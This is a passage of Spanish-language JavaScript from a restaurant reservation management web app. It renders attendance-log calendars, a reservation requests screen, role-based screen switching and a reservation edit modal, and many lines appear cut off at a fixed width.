      <div><span>Primera entrada</span><b>${hostHoraCorta(primera.en)}</b></div>
      <div><span>Última entrada</span><b>${hostHoraCorta(ultima.en)}</b><i>${hace
      <div><span>Entradas</span><b>${items.length}</b><i>${totRes} con res. · ${t
      <div><span>Hora pico</span><b>${regHoraEtiqueta(pico)}</b><i>${(horas[pico]
    </div>
    <div class="reg-mov-t">Personas por hora <small><i class="r"></i>con reserva
    <div class="reg-horas">${barras}</div>
    <div class="reg-mov-t">Entradas (la más reciente primero)</div>
    <div class="host-turnos reg-mov-filtros">${[['todas','Todas'],['res','Con res
    <div class="reg-ents">${filas || '<div class="reg-mov-vacio">Ninguna entrada
    ${sinHora > 0 ? `<div class="reg-nota">${sinHora} persona${sinHora===1?'':'s'
  </div>`;
}
function regTarjetasHtml(m, esDia){
  const tamTxt = m.tamSR.length ? 'Grupos: ' + m.tamSR.join(' + ') : '';
  const sd = m.sinDetalle || m.detalleOk === false;
  const dato = v => sd ? '—' : v;
  return `
    <div class="reg-cards">
      <div class="reg-card"><b>${m.nRes}</b><span>Reservas teníamos</span><i>${m.
      <div class="reg-card ok"><b>${m.llegaron}</b><span>Personas con reserva que
      <div class="reg-card ok"><b>${dato(m.completas)}</b><span>Reservas completa
      <div class="reg-card parcial"><b>${dato(m.incompletas)}</b><span>Reservas i
      <div class="reg-card no"><b>${dato(m.noLlegaron)}</b><span>Reservas que no
      <div class="reg-card"><b>${m.sinRes}</b><span>Personas sin reserva</span><i
      ${m.deMas > 0 ? `<div class="reg-card extra"><b>+${m.deMas}</b><span>Person
    </div>
    ${sd ? '<div class="reg-nota">— Aforo guardado antes de que se registrara el
}
function regFilaHtml(cls, a, b, c, d, e){
  return `<div class="reg-fila ${cls}"><span>${a}</span><span>${b}</span><span>${
}
function renderRegistro(){
  const grid = document.getElementById('regGrid');
  if(!grid) return;
  suscribirRegistro();
  const hoyIso = regIso(new Date());
  const selIso = regIso(regFecha);
```

```
document.getElementById('regMesLabel').innerHTML =
  `${MESES[regMes].charAt(0).toUpperCase() + MESES[regMes].slice(1)} ${regAno}<
// Calendario del mes (domingo primero)
let h = DIAS_CORTO.map(d => `<div class="reg-dow">${d}</div>`).join('');
const primero = new Date(regAno, regMes, 1, 12).getDay();
const nDias = new Date(regAno, regMes+1, 0).getDate();
for(let i=0;i<primero;i++) h += '<div class="reg-dia vacio"></div>';
for(let dnum=1; dnum<=nDias; dnum++){
  const iso = regAno + '-' + String(regMes+1).padStart(2,'0') + '-' + String(dn
  const t = regTotalDia(iso, regTurno);
  h += `<button type="button" class="reg-dia ${iso===hoyIso?'hoy':''} ${iso===s
}
grid.innerHTML = h;

const d = regFecha;
document.getElementById('regDiaLabel').textContent = `${DIAS[d.getDay()]} ${d.g
const turnos = regTurnosDelDia(selIso);
// Al cambiar de día se conserva el turno elegido; si ese día no existe tal
// turno (Cena vs Cena 1/2 entre semana y fin de semana) se usa el equivalente.
if(regTurno !== 'dia' && !turnos.some(t => t[0] === regTurno)){
  if(regTurno === 'cena' && turnos.some(t => t[0] === 'cena1')) regTurno = 'cen
  else if((regTurno === 'cena1' || regTurno === 'cena2') && turnos.some(t => t[
  else regTurno = 'dia';
}
document.getElementById('regTurnos').innerHTML =
  [['dia','Día completo'], ...turnos].map(([k,l]) => `<button type="button" cla

let html = '';
if(regError){
  html += `<div class="reg-error">No se pudo leer parte del registro (${escapeH
}
const todos = turnos.map(([k]) => regMetricas(selIso, k));
if(regTurno === 'dia'){
  const s = regSumar(todos);
  const nGuard = todos.filter(m => m.fuente === 'guardado').length;
  if(s.nRes === 0 && s.sinRes === 0 && s.total === 0){
    html += '<div class="reg-vacio">No hay reservas ni clientes registrados en
  } else {
    html += `<div class="reg-fuente ${nGuard===todos.length?'ok':'mixto'}">${nG
    html += `<div class="reg-hero tocable" onclick="regToggleDetalle()" role="b
    if(regDetalleAbierto){
      const etq = {}; turnos.forEach(t => { etq[t[0]] = t[1]; });
      html += regMovimientoHtml(selIso, turnos.map(t => t[0]), etq);
    }
    html += regTarjetasHtml(s, true);
    html += `<div class="reg-tabla"><div class="reg-tabla-t">Por turno</div>` +
      regFilaHtml('cab','Turno','Esperadas','Llegaron','Sin reserva','Total') +
```

```
        todos.map(m => regFilaHtml('', (turnos.find(t=>t[0]===m.key)||['',''])[1]
        regFilaHtml('tot','Total', s.esperadas, s.llegaron, s.sinRes, s.total) +
      html += '<div class="reg-nota">✓ aforo guardado por el host · ⏳ en curso (
    }
  } else {
    const m = todos.find(x => x.key === regTurno) || regMetricas(selIso, regTurno
    const etiqueta = (turnos.find(t => t[0] === regTurno) || ['',''])[1];
    if(m.nRes === 0 && m.sinRes === 0 && m.total === 0){
      html += `<div class="reg-vacio">No hay reservas ni clientes registrados en
    } else {
      html += m.fuente === 'guardado'
        ? `<div class="reg-fuente ok">✓ Aforo de ${escapeHtml(etiqueta)} guardado
        : `<div class="reg-fuente vivo">⏳ En curso — números en vivo, el aforo c
      html += `<div class="reg-hero tocable" onclick="regToggleDetalle()" role="b
      if(regDetalleAbierto) html += regMovimientoHtml(selIso, [regTurno], { [regT
      html += regTarjetasHtml(m, false);
    }
  }
  document.getElementById('regInforme').innerHTML = html;
}

/* ============ PANTALLA DE SOLICITUDES (global, todas las fechas) ============ *
let vistaApp = 'solicitudes';

function irASalones(){
  const rol = usuarioActual ? (usuarioActual.rol || 'admin') : 'admin';
  if(rol !== 'admin') return;
  window.location.href = 'salones.html';
}

// ===== ACORDEÓN DE CONFIG =====
// Cada sección (Mensajes, Carrusel, Usuarios, Zona de peligro) empieza
// colapsada. Al tocar un encabezado se abre solo esa sección y se cierran
// las demás, para no tener que ver el "reguero" completo de una vez —
// se entra directo a la que se necesita.
function toggleConfigGrupo(id){
  const contenido = document.getElementById(id);
  const chevron = document.getElementById('chevron_' + id);
  const yaAbierto = contenido.style.display !== 'none';
  if(id === 'grupoInformesAdmin' && !yaAbierto) poblarSelectorInformeResponsable(
  ['grupoMensajes', 'grupoHorarios', 'grupoCarrusel', 'grupoEventos', 'grupoUsuar
    const otroContenido = document.getElementById(otroId);
    const otroChevron = document.getElementById('chevron_' + otroId);
    if(otroContenido) otroContenido.style.display = 'none';
    if(otroChevron) otroChevron.classList.remove('abierto');
  });
  if(!yaAbierto){
```

```
    contenido.style.display = 'block';
    if(chevron) chevron.classList.add('abierto');
  }
}

function cambiarVistaApp(v){
  // Refuerzo de seguridad: aunque ya se oculten los botones por nivel, si
  // por algo se llega a llamar esta función igual (por ejemplo un enlace
  // viejo guardado), esto bloquea el acceso real a la pantalla.
  const rol = usuarioActual ? (usuarioActual.rol || 'admin') : 'admin';
  if(v === 'config' && rol !== 'admin') return;
  // Mismo refuerzo que arriba: "consulta" no debe poder entrar a
  // Solicitudes (reservas pendientes/por aprobar) por ningún camino,
  // aunque los botones ya estén ocultos.
  if(v === 'solicitudes' && rol === 'consulta') return;
  // v6.43 — "host" solo para admin/operativo/host; el nivel Host no puede salir
  if(v === 'host' && (rol === 'consulta' || rol === 'promotor')) return;
  if(v === 'registro' && rol === 'promotor') return;
  if(rol === 'host' && v !== 'host' && v !== 'registro') return;
  vistaApp = v;
  if(v === 'solicitudes') cerrarToastNuevaSolicitud();
  document.getElementById('toggleSolicitudes').classList.toggle('active', v==='so
  document.getElementById('togglePorDia').classList.toggle('active', v==='porDia'
  document.getElementById('toggleSalones').classList.toggle('active', v==='salone
  document.getElementById('toggleConfig').classList.toggle('active', v==='config'
  ['toggleSolicitudes','togglePorDia','toggleSalones','toggleConfig'].forEach(id=
    const btn = document.getElementById(id);
    if(v==='solicitudes' && id==='toggleSolicitudes' || v==='porDia' && id==='tog
       v==='salones' && id==='toggleSalones' || v==='config' && id==='toggleConfi
      btn.setAttribute('aria-current','page');
    } else {
      btn.removeAttribute('aria-current');
    }
  });
  document.getElementById('pantallaSolicitudes').style.display = v==='solicitudes
  document.getElementById('pantallaPorDia').style.display = v==='porDia' ? 'flex'
  document.getElementById('pantallaSalones').style.display = v==='salones' ? 'fle
  document.getElementById('pantallaConfig').style.display = v==='config' ? 'flex'
  const btnHostV = document.getElementById('toggleHost');
  if(btnHostV){
    btnHostV.classList.toggle('active', v==='host');
    if(v==='host') btnHostV.setAttribute('aria-current','page'); else btnHostV.re
  }
  const pantHost = document.getElementById('pantallaHost');
  if(pantHost) pantHost.style.display = v==='host' ? 'flex' : 'none';
  const btnRegV = document.getElementById('toggleRegistro');
  if(btnRegV){
```

```
    btnRegV.classList.toggle('active', v==='registro');
    if(v==='registro') btnRegV.setAttribute('aria-current','page'); else btnRegV.
  }
  const pantReg = document.getElementById('pantallaRegistro');
  if(pantReg) pantReg.style.display = v==='registro' ? 'flex' : 'none';
  if(v==='host') renderHost(); else detenerHostSinReserva();
  if(v==='registro') renderRegistro(); else detenerRegistro();
  if(v==='config') renderConfigMensajes();
  // Misma protección que en cambiarVista(): si el modal de una reserva se
  // quedó abierto de fondo, cambiar de pantalla principal también lo
  // cierra, para que nunca se quede bloqueado el redibujado de datos
  // frescos en la pantalla a la que se está entrando.
  const overlayNavApp = document.getElementById('overlay');
  if(overlayNavApp && overlayNavApp.classList.contains('open')){
    overlayNavApp.classList.remove('open');
    renderAll();
  }
}

function formatearFechaCorta(iso){
  const [y,m,d] = iso.split('-').map(Number);
  const fecha = new Date(y, m-1, d, 12);
  return `${DIAS[fecha.getDay()]} ${d} de ${MESES[m-1]}`;
}

// La hora de la reserva se guarda en 24h (ej. "21:00") porque así es más
// fácil de comparar/ordenar en el código, pero para MOSTRARLA en las
// tarjetas es más fácil de leer en formato 12h con AM/PM.
function formatearHora12(hora24){
  if(!hora24) return '';
  const [h,m] = String(hora24).split(':').map(Number);
  if(!isFinite(h)) return escapeHtml(hora24);
  const ampm = h>=12 ? 'PM' : 'AM';
  const h12 = (h%12)||12;
  return `${h12}:${String(isFinite(m)?m:0).padStart(2,'0')} ${ampm}`;
}

// Convierte el timestamp ISO guardado en horaSolicitud a algo legible tipo
// "2:46 pm" — para saber a qué hora exacta llegó esa solicitud, no solo
// qué día. Si el registro es viejo y no tiene este campo (creado antes de
// este cambio), no muestra nada en vez de inventar una hora falsa.
function formatearHoraSolicitud(iso){
  if(!iso) return '';
  const d = new Date(iso);
  if(isNaN(d.getTime())) return '';
  let h = d.getHours();
  const min = String(d.getMinutes()).padStart(2,'0');
```

```
  const ampm = h >= 12 ? 'pm' : 'am';
  h = h % 12; if(h === 0) h = 12;
  return `${h}:${min} ${ampm}`;
}

// Igual que formatearHoraSolicitud, pero con fecha y hora juntas — para
// mostrar EXACTAMENTE cuándo se aprobó una reserva (campo
// "ultimaEdicionEn", que solo se llena en el momento de la aprobación).
// Si el registro no lo tiene (de antes de este cambio, o nunca se marcó
// Confirmada por este medio), devuelve vacío en vez de inventar una fecha.
function formatearFechaHoraAprobacion(iso){
  if(!iso) return '';
  const d = new Date(iso);
  if(isNaN(d.getTime())) return '';
  const dia = String(d.getDate()).padStart(2,'0');
  const mes = MESES[d.getMonth()].slice(0,3);
  let h = d.getHours();
  const min = String(d.getMinutes()).padStart(2,'0');
  const ampm = h >= 12 ? 'pm' : 'am';
  h = h % 12; if(h === 0) h = 12;
  return `${dia} ${mes} · ${h}:${min} ${ampm}`;
}

function requiereGestion(r){
  // "Necesita atención" = todavía no queda resuelta del todo: llegó por
  // WhatsApp sin gestionar, está esperando que el cliente apruebe, se le
  // mandó el link y no ha contestado, O el staff la tomó por teléfono y la
  // dejó en estado "Pendiente" (todavía no la confirma). "Confirmada" y
  // "Cancelada" sí cuentan como ya resueltas, sin importar el canal.
  return r.estado==='solicitud' || r.estado==='pendiente_aprobacion' ||
    r.estado==='mensaje_enviado' || r.estado==='pendiente' || r.estado==='lista_e
}

function fechaSolicitudEfectiva(r){
  // La fecha que manda para AGRUPAR una solicitud en esta pantalla es la
  // fecha en que LLEGÓ la solicitud (cuando el cliente la envió, o cuando
  // el staff la mandó a aprobar) — NO la fecha de la reserva que pidió.
  // Si alguien pide hoy una mesa para el sábado, esa tarjeta debe aparecer
  // en el día de HOY en esta pantalla; el sábado es donde vivirá la
  // reserva ya aprobada, dentro de "Por día".
  // Para registros viejos que no tengan este campo, usamos la fecha de la
  // reserva como respaldo (mejor eso que perder el registro).
  return r.fechaSolicitud || r.fecha;
}

function renderSolicitudesScreen(){
  // Historial completo: todo lo que alguna vez pasó por el flujo de
```

```
// solicitud/aprobación del cliente, sin importar en qué quedó ni la fecha.
const todas = reservas.filter(r=>
  r.pasoPorSolicitud === true ||
  r.estado==='solicitud' || r.estado==='pendiente_aprobacion' ||
  r.aprobadaPorCliente !== undefined
);

const activas = todas.filter(requiereGestion);
const badge = document.getElementById('solicitudesBadge');
badge.textContent = activas.length;
badge.classList.toggle('zero', activas.length===0);
actualizarBotonFiltroFechaReserva();

// Encabezado de fecha de esta pantalla (por defecto: hoy)
const iso = fechaISO(fechaSolicitudes);
const hoyISO = fechaISO(new Date());
document.getElementById('dateLabelSolicitudes').innerHTML =
  `${DIAS[fechaSolicitudes.getDay()]} ${fechaSolicitudes.getDate()} de ${MESES[
  (iso===hoyISO ? `<span class="grupo">Hoy</span>` : '');

// Aviso de atrasadas: activas cuya SOLICITUD llegó antes de hoy y sigue sin ge
const atrasadas = activas.filter(r=>fechaSolicitudEfectiva(r) < hoyISO);
const alertaEl = document.getElementById('alertaAtrasadas');
if(atrasadas.length > 0){
  // Cuenta cuántas solicitudes atrasadas hay por cada día, para que el
  // aviso muestre un desglose y no solo el total — así se sabe de una
  // vez dónde están, sin tener que ir mirando fecha por fecha.
  const porDia = {};
  atrasadas.forEach(r => {
    const f = fechaSolicitudEfectiva(r);
    porDia[f] = (porDia[f] || 0) + 1;
  });
  window._atrasadasPorDia = porDia;
  alertaEl.innerHTML = `<div class="alerta-atrasadas" onclick="abrirDesgloseAtr
    <span class="alerta-atrasadas-icono"><svg viewBox="0 0 24 24" width="17" he
    <span class="alerta-atrasadas-texto">Tienes <b>${atrasadas.length}</b> soli
    <span class="alerta-atrasadas-chevron"><svg viewBox="0 0 24 24" width="15"
  </div>`;
} else {
  alertaEl.innerHTML = '';
}

// Todo lo que LLEGÓ ese día (sin el filtro de especiales todavía —
// el resumen de arriba cuenta el total real del día, no lo filtrado)
// Orden: por llegada, la más RECIENTE arriba — así se puede dar
// seguimiento fácil a lo que acaba de entrar. Antes esto se ordenaba por
// "hora" (la hora de la reserva en sí, ej. 8pm), que no tiene nada que
```

```
// ver con el orden en que llegaron las solicitudes — por eso se veían
// mezcladas sin ningún criterio real de seguimiento.
const delDiaTotal = todas.filter(r=>fechaSolicitudEfectiva(r)===iso).sort((a,b)
  // Los registros viejos sin horaSolicitud (de antes de este cambio) se
  // van al final, para no intercalarse sin sentido con los que sí tienen
  // hora real.
  if(!a.horaSolicitud && !b.horaSolicitud) return 0;
  if(!a.horaSolicitud) return 1;
  if(!b.horaSolicitud) return -1;
  return b.horaSolicitud.localeCompare(a.horaSolicitud);
});
// "Respondidas" = el cliente ya contestó y llenó el formulario (dejó de
// estar solo en "mensaje enviado"), sin importar en qué quedó después.
const respondidas = delDiaTotal.filter(r=>r.estado!=='solicitud' && r.estado!==
// "Aprobadas" = terminó confirmada, sin importar si fue el cliente
// aprobando por el link o tú confirmándola directo por teléfono — las
// dos formas terminan en el mismo lugar: una reserva lista y confirmada.
const aprobadasHoy = delDiaTotal.filter(r=>r.aprobadaPorCliente===true || r.est
const resumenEl = document.getElementById('resumenSolicitudesDia');
if(resumenEl){
  if(delDiaTotal.length === 0){
    resumenEl.style.display = 'none';
  } else {
    resumenEl.style.display = 'grid';
    resumenEl.innerHTML = `
      <div class="resumen-sol-card"><div class="resumen-sol-icon"><svg viewBox=
      <div class="resumen-sol-card"><div class="resumen-sol-icon"><svg viewBox=
      <div class="resumen-sol-card total"><div class="resumen-sol-icon"><svg vi
    `;
  }
}

// Solo lo del día que se está viendo en esta pantalla — EXCEPTO si hay
// una búsqueda activa: ahí se ignora el día por completo y se busca ese
// cliente en TODO el historial de solicitudes, porque puede estar
// registrado en cualquier otra fecha, no necesariamente la que está
// abierta en pantalla ahora mismo.
const busquedaSolInput = document.getElementById('buscarClienteSolicitudes');
const textoBusquedaSol = busquedaSolInput ? busquedaSolInput.value : '';
const btnLimpiarSol = document.getElementById('btnLimpiarBuscarSolicitudes');
if(btnLimpiarSol) btnLimpiarSol.style.display = textoBusquedaSol ? 'block' : 'n

let delDia;
if(textoBusquedaSol){
  delDia = todas
    .filter(r => coincideBusquedaCliente(r, textoBusquedaSol))
    .sort((a,b) => (fechaSolicitudEfectiva(b)+(b.horaSolicitud||'')).localeComp
```

```
} else {
  delDia = delDiaTotal;
  if(filtroEspecialesSolicitudes) delDia = delDia.filter(r=>Number(r.pax)>=30);
  if(filtroSoloAtrasadasSolicitudes) delDia = delDia.filter(requiereGestion);
}
// Se aplica al final para que pueda combinarse tanto con el día de
// llegada visible como con una búsqueda por nombre/celular. Solo compara
// la fecha pedida para la reserva; no altera el registro original.
if(filtroFechaReservaSolicitudes){
  delDia = delDia.filter(r=>r.fecha===filtroFechaReservaSolicitudes);
}

const el = document.getElementById('panelSolicitudes');
const bannerAtrasadasHtml = (filtroSoloAtrasadasSolicitudes && !textoBusquedaSo
  <div style="display:flex; align-items:center; justify-content:space-between;
    <span style="font-size:13px; color:#f0c27a; line-height:1.35;">⚠ Mostrando
    <button type="button" onclick="quitarFiltroSoloAtrasadas()" style="flex:0 0
  </div>` : '';
if(delDia.length === 0){
  if(filtroFechaReservaSolicitudes){
    el.innerHTML = bannerAtrasadasHtml + `<div class="solicitudes-empty">No hay
  } else {
    el.innerHTML = bannerAtrasadasHtml + (textoBusquedaSol
      ? `<div class="solicitudes-empty">No se encontró ningún cliente que coinc
      : `<div class="solicitudes-empty">${filtroEspecialesSolicitudes ? '⭐ No
  }
  renderCalendarioSolInline();
  if(document.getElementById('panelFiltroFechaReserva')?.classList.contains('ab
  return;
}

const cardsHtml = delDia.map(r => {
  const esMensajeEnviado = r.estado === 'mensaje_enviado';
  const esSinGestionar = r.estado === 'solicitud';
  const esPorAprobar = r.estado === 'pendiente_aprobacion';
  // Tomada directo (por teléfono u otro canal) pero el staff la dejó en
  // "Pendiente" — todavía no la confirma. Necesita el mismo tipo de
  // atención que una solicitud sin gestionar, aunque llegó por otra vía.
  const esPendienteInterno = r.estado === 'pendiente';
  const esListaEspera = r.estado === 'lista_espera';
  const esProcesoComercial = r.estado === 'proceso_comercial';
  const yaAprobada = r.aprobadaPorCliente === true;
  const claseColor = esProcesoComercial ? 'comercial-card' : esMensajeEnviado ?
  let hint = '';
  if(esMensajeEnviado) hint = `<div class="mensaje-enviado-hint">📨 Le mandamos
  else if(esSinGestionar) hint = `<div class="solicitud-hint">⚠ Sin mesa asigna
  else if(esPorAprobar) hint = `<div class="aprobacion-hint">📤 Enviada al clie
```

```
else if(esPendienteInterno) hint = `<div class="solicitud-hint">⏳ Pendiente
else if(esListaEspera) hint = `<div class="solicitud-hint">🕒 En lista de esp
else if(esProcesoComercial) hint = `<div class="comercial-hint">🤝 Proceso cc
else if(yaAprobada) hint = `<div class="historial-aprobada-hint">✓ Aprobada p
// Si todavía no hay respuesta del cliente, no hay fecha/turno/hora que
// mostrar — solo el contacto al que se le escribió.
if(esMensajeEnviado){
  return `
  <div class="solicitud-card-global ${claseColor}" onclick='abrirModal(${JSON
    <div class="sc-top">
      <div>
        <div class="sc-nombre">${escapeHtml(r.nombre) || '(sin nombre de cont
      </div>
      <span class="badge ${r.estado}">${estadoLabel(r.estado)}</span>
    </div>
    <div class="sc-meta">
      ${r.celular?`<span class="tel-destacado">${escapeHtml(r.celular)}</span
    </div>
    ${(r.codigoReserva || formatearHoraSolicitud(r.horaSolicitud)) ? `
    <div class="sc-firma">
      ${r.codigoReserva?`<span class="codigo-reserva-tag">${escapeHtml(r.codi
      ${formatearHoraSolicitud(r.horaSolicitud)?`<span title="Hora en que lle
    </div>` : ''}
    ${hint}
    ${(r.celular || r.correo) ? `<div class="contacto-row"><div class="contac
  </div>`;
}
return `
<div class="solicitud-card-global ${claseColor}" onclick='abrirModal(${JSON.s
  ${r.eventoNombre ? `<div style="background:var(--gold); color:#1a1a1a; font
  ${r.solicitudMusico ? `<div style="background:#6d4fc9; color:#fff; font-wei
  <div class="sc-top">
    <div>
      <div class="sc-fecha">${escapeHtml(r.turno)}${r.fecha?` · ${escapeHtml(
      <div class="sc-hora">${formatearHora12(r.hora)}${r.horaSalida?` <span c
      <div class="sc-nombre">${escapeHtml(r.nombre)}</div>
    </div>
    <span class="badge ${r.estado}">${estadoLabel(r.estado)}</span>
  </div>
  <div class="sc-meta">
    <span>${r.pax} pax</span>
    ${Number(r.pax)>=30?`<span class="especial-tag">⭐ Especial</span>`:''}
    ${r.celular?`<span class="tel-destacado">${escapeHtml(r.celular)}</span>`
    ${r.mesa ? (esSalonVipEspecial(r.mesa) ? `<span class="vip-tag">👑 VIP: $
    ${r.vipSolicitada?`<span class="vip-tag">Quiere VIP</span>`:''}
    ${r.listaEspera?`<span class="vip-tag" style="color:#e8a33d; border-color
    ${r.comprobanteAbono?`<button class="btn-ver-comprobante" onclick='event.
```

```
      ${textoCoverBadge(r)}
      ${r.comprobanteCover?`<button class="btn-ver-comprobante" onclick='event.
      ${r.mesa?`<button class="btn-ver-comprobante" onclick='event.stopPropagat
      ${r.obs?`<button class="btn-ver-comprobante" onclick='event.stopPropagati
    </div>
    ${(r.codigoReserva || formatearHoraSolicitud(r.horaSolicitud) || r.ultimoEd
    <div class="sc-firma">
      ${r.codigoReserva?`<span class="codigo-reserva-tag">${escapeHtml(r.codigo
      ${formatearHoraSolicitud(r.horaSolicitud)?`<span title="Hora en que llegó
      ${r.ultimoEditorIniciales?`<span title="Última vez editada por ${escapeHt
    </div>` : ''}
    ${r.obs?`<div class="sc-obs">${escapeHtml(r.obs)}</div>`:''}
    ${hint}
    ${(r.celular || r.correo) ? `<div class="contacto-row"><div class="contacto
  </div>`;
}).join('');

// Resumen del día que se está viendo: aprobadas vs no, VIP vs general
// "Aprobada" = terminó confirmada, sin importar si fue el cliente
// aprobando por el link (aprobadaPorCliente===true) o el staff
// confirmándola directo por teléfono (estado==='confirmada' sin haber
// pasado por ese campo) — mismo criterio que ya se usa arriba en las
// tarjetas resumen de "Recibidas/Respondidas/Aprobadas".
const totalPax = delDia.reduce((a,r)=>a+Number(r.pax||0),0);
const aprobadas = delDia.filter(r=>r.aprobadaPorCliente===true || r.estado==='c
const canceladasSol = delDia.filter(r=>r.estado==='cancelada');
const canceladasSolPax = canceladasSol.reduce((a,r)=>a+Number(r.pax||0),0);
const aprobadasPax = aprobadas.reduce((a,r)=>a+Number(r.pax||0),0);

// Los 4 estados reales que se manejan en el programa (los mismos que
// se ven en "Estado de la reserva" al abrir una reserva: Aprobada,
// Pendiente, Cancelada — más "En proceso" para lo que todavía no ha
// tenido ninguna respuesta):
// - Pendiente: el staff la marcó pendiente a propósito (falta algún
//   dato o confirmación de su parte) — estado==='pendiente'.
// - En proceso: todavía no se le ha contestado nada al cliente —
//   cubre solicitud recién llegada, mensaje ya enviado sin respuesta,
//   esperando que apruebe por el link, o en lista de espera.
const pendientesSol = delDia.filter(r => r.estado==='pendiente');
const pendientesSolPax = pendientesSol.reduce((a,r)=>a+Number(r.pax||0),0);
const enProceso = delDia.filter(r =>
  r.estado!=='cancelada' && r.estado!=='pendiente' && r.estado!=='proceso_comer
);
const enProcesoPax = enProceso.reduce((a,r)=>a+Number(r.pax||0),0);

const vipSols = delDia.filter(r=>r.vipSolicitada && r.estado!=='mensaje_enviado
const generalSols = delDia.filter(r=>!r.vipSolicitada && r.estado!=='mensaje_en
```

```
  const vipPax = vipSols.reduce((a,r)=>a+Number(r.pax||0),0);
  const generalPax = generalSols.reduce((a,r)=>a+Number(r.pax||0),0);

  const resumenHtml = renderResumenDiaV2({
    fechaObj: fechaFiltroReservaObj(filtroFechaReservaSolicitudes) || fechaSolici
    unidadSingular: 'Solicitud',
    unidadPlural: 'Solicitudes',
    totalCount: delDia.length,
    totalPax,
    panelTitulo: 'Estado de gestión',
    filas: [
      {icono:'check', color:'ok', label:'Aprobadas', count:aprobadas.length, pax:
      {icono:'reloj', color:'amber', label:'En proceso <span class="fecha-solicit
      {icono:'subir', color:'blue', label:'Pendientes', count:pendientesSol.lengt
      {icono:'alerta', color:'rojo', label:'Canceladas', count:canceladasSol.leng
    ],
    mesaGeneral: {count:generalSols.length, pax:generalPax},
    mesaVip: {count:vipSols.length, pax:vipPax},
  });

  el.innerHTML = bannerAtrasadasHtml + cardsHtml + resumenHtml;

  // Mantenemos el calendario embebido de arriba sincronizado con los datos
  // (mismo cuidado que en "Por día": no reseteamos el mes que se está
  // explorando, solo refrescamos los puntos de colores).
  renderCalendarioSolInline();
  if(document.getElementById('panelFiltroFechaReserva')?.classList.contains('abie
}

function quitarFiltroSoloAtrasadas(){
  filtroSoloAtrasadasSolicitudes = false;
  renderSolicitudesScreen();
}
function irAFechaAtrasada(fechaIso){
  filtroSoloAtrasadasSolicitudes = true;
  const [y,m,d] = fechaIso.split('-').map(Number);
  fechaSolicitudes = new Date(y, m-1, d, 12);
  calSolInlineMes = fechaSolicitudes.getMonth();
  calSolInlineAno = fechaSolicitudes.getFullYear();
  renderSolicitudesScreen();
}

// Desglose de solicitudes atrasadas por día — se abre al tocar el aviso.
// Muestra cada fecha con solicitudes sin gestionar, cuántas tiene, y al
// tocar una fecha te lleva directo a ese día en Solicitudes.
function abrirDesgloseAtrasadas(){
  const porDia = window._atrasadasPorDia || {};
```

```
  const dias = Object.keys(porDia).sort();
  if(dias.length === 0) return;
  const filas = dias.map(f => {
    const [y,m,d] = f.split('-').map(Number);
    const fechaObj = new Date(y, m-1, d, 12);
    const label = `${DIAS[fechaObj.getDay()]} ${d} de ${MESES[m-1]}`;
    const cant = porDia[f];
    return `<div onclick="irAFechaAtrasada('${f}'); cerrarDesgloseAtrasadas();" s
      <span style="font-weight:600;">${label}</span>
      <span style="background:#e8a33d; color:#1a1a1a; font-weight:700; font-size:
    </div>`;
  }).join('');
  const overlay = document.createElement('div');
  overlay.id = 'overlayDesgloseAtrasadas';
  overlay.className = 'overlay open';
  overlay.innerHTML = `
    <div class="modal">
      <h3>Solicitudes atrasadas por día</h3>
      <div class="modal-sub">Toca un día para ir directo a revisarlo.</div>
      <div style="margin:14px 0;">${filas}</div>
      <div class="modal-actions">
        <button class="btn btn-ghost" onclick="cerrarDesgloseAtrasadas()">Cerrar<
      </div>
    </div>`;
  document.body.appendChild(overlay);
}
function cerrarDesgloseAtrasadas(){
  const el = document.getElementById('overlayDesgloseAtrasadas');
  if(el) el.remove();
}

/* ============ MODAL ============ */
function abrirModal(id, mesaId){
  modalToken++;
  editandoId = id || null;
  mesaPreseleccionada = mesaId || null;
  guardandoReserva = false;
  const btnGuardar = document.getElementById('btnGuardarReserva');
  if(btnGuardar){ btnGuardar.disabled = false; btnGuardar.textContent = 'Guardar'
  const btnAprobReset = document.getElementById('btnEnviarParaAprobacion');
  if(btnAprobReset){ btnAprobReset.disabled = false; btnAprobReset.textContent =
  // Por si el modal anterior había quedado abierto en alguna de las dos
  // pantallas de "se guardó / abrir WhatsApp" (por ejemplo, si el staff
  // pasó directo a otra reserva sin volver antes al menú principal), se
  // restauran SIEMPRE aquí — antes esto solo pasaba al crear una reserva
  // nueva, así que al EDITAR una ya existente esa pantalla vieja se podía
  // quedar tapando el formulario, mostrando el modal como si estuviera
```

```
// vacío.
const whatsappExitoReset = document.getElementById('whatsappExitoBlock');
if(whatsappExitoReset) whatsappExitoReset.style.display = 'none';
const aprobacionExitoReset = document.getElementById('aprobacionExitoBlock');
if(aprobacionExitoReset) aprobacionExitoReset.style.display = 'none';
const overlay = document.getElementById('overlay');
const btnEliminar = document.getElementById('btnEliminar');
const canalNuevoBlock = document.getElementById('canalNuevoBlock');
const whatsappBlock = document.getElementById('whatsappBlock');
const formCompletoBlock = document.getElementById('formCompletoBlock');

if(id){
 try{
  const r = reservas.find(x=>x.id===id);
  modalFecha = r.fecha;
  modalTurno = r.turno;
  canalNuevoBlock.style.display = 'none';
  whatsappBlock.style.display = 'none';
  formCompletoBlock.style.display = 'block';
  document.getElementById('tipoReservaBlock').style.display = 'none';
  document.getElementById('modalTitle').textContent = r.estado==='mensaje_envia
  document.getElementById('modalSub').textContent = r.turno
    ? `${r.turno.charAt(0).toUpperCase()+r.turno.slice(1)} · ${r.fecha}`
    : 'Esperando que el cliente llene el formulario';
  // La fecha/turno REAL de la reserva (el día que el cliente viene) sí
  // se puede mover — solo al editar, nunca al crearla de cero.
  const turnosValidos = ['desayuno','almuerzo','cena'];
  const turnoInvalido = r.turno && !turnosValidos.includes(r.turno);
  if(r.fecha){
    // Un promotor no puede mover su reserva a otra fecha/turno (queda
    // fijo por diseño — ver guardarReserva) así que ni se le muestra
    // la opción, para no generar confusión.
    const esPromotorEditando = usuarioActual && usuarioActual.rol === 'promotor
    document.getElementById('fechaReservaEditBlock').style.display = esPromotor
    document.getElementById('fFechaReservaEdit').value = r.fecha;
    if(turnoInvalido){
      // Registro dañado de antes de la corrección (turno="todos" guardado
      // por error) — sugerimos el turno correcto según la hora y avisamos,
      // en vez de dejarlo en blanco esperando que el staff lo adivine.
      const sugerido = turnoSegunHora(new Date(r.fecha+'T12:00:00'), r.hora);
      document.getElementById('fTurnoReservaEdit').value = sugerido;
      document.getElementById('turnoInvalidoAviso').style.display = 'block';
      document.getElementById('turnoInvalidoAviso').textContent =
        `⚠ Este registro tenía guardado un turno inválido ("${r.turno}"). Se su
    } else {
      document.getElementById('fTurnoReservaEdit').value = r.turno || 'cena';
      document.getElementById('turnoInvalidoAviso').style.display = 'none';
```

```
  }
} else {
